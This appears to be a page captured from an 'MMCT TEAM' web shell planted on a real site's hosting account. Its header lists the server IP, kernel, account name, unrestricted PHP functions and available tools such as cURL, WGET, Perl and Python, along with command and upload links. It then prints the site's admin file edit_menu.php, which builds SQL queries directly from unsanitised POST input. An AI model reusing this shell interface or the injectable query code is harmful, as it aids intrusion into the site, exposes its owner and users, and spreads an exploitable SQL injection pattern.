MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 3.139.64.23
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home1/a1673wkz/propstonerealty.com/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home1/a1673wkz/propstonerealty.com/Admin/edit_menu.php
<?php 
//print_r($_POST);
include("config.php");
if(!empty($_POST['menu1']) && !empty($_POST['menu_id']))
{
	$menu_id=$_POST['menu_id'];
	$menu=$_POST['menu1'];
	$link=$_POST['link1'];
	$row=$obj->num("SELECT * FROM menu WHERE id='$menu_id'");
	if($row==1)
	{
		if(!empty($_POST['link1']))
		{
			$query=$obj->query("UPDATE menu SET menu='$menu',link='$link' WHERE id='$menu_id'");
			//echo $query;
		}
		else
		{
			$query=$obj->query("UPDATE menu SET menu='$menu',link='#' WHERE id='$menu_id'");
			//echo $query;
		}

		if($query)
		{
			echo '<a href="#" class="badge badge-success">Success</a>';
		}
		else
		{
			echo '<a href="#" class="badge badge-danger">Faild</a>';
		}
	}
	else
	{
		echo '<a href="#" class="badge badge-warning">Not Found</a>';
	}
}
else
{
	echo '<a href="#" class="badge badge-warning">Empty Field</a>';
}

?>

MMCT - 2023